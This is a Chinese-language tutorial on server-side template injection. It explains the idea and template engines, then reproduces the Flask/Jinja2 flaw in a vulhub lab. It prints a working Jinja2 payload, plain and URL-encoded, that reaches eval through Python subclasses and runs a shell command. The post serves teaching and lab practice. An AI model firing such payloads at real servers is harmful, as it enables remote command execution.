一、什么是SSTI
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
现在网上提起的比较多的是Python的网站。
二、谈谈模板引擎
百度百科的定义:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
三、回到SSTI
1、简单例子
先给出下面这个例子,以便理解:
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
echo $output;
当然在渲染过程中会有很多不一样的处理,这个是比较简单的一个,对于现在的SSTI在后端处理的时候也会有许多的过滤。
总之,ssti就是这么个道理,就像sql注入中你用id=-1’ union select database()可以拿到数据库一样,当然在漏洞利用上还是有很多的技巧,也会有绕过的技巧的。
2、Flask(Jinja2) 服务端模板注入漏洞复现
ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞,展示一下流程
1)docker环境搭建
docker-compose up -d
2)注入检测
访问http://192.168.1.10:8000/
[外链图片转存失败(img-WSzM3J8q-1563519679126)(en-resource://database/739:1)]
传参?name={{7*8}},可以得到:
传参?name={{7*8}},可以得到:
说明存在SSTI漏洞
3)漏洞利用
官方的漏洞利用方法:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
把上面这一串当做name参数传递即可实现命令执行:
http://192.168.1.10:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}%20{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}
结果如下:
看到id命令成功执行
四、关于SSTI的python类的知识
很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。
面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。
首先进入python—命令行输入python进入这样的界面:
进行以下输入:
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)>>>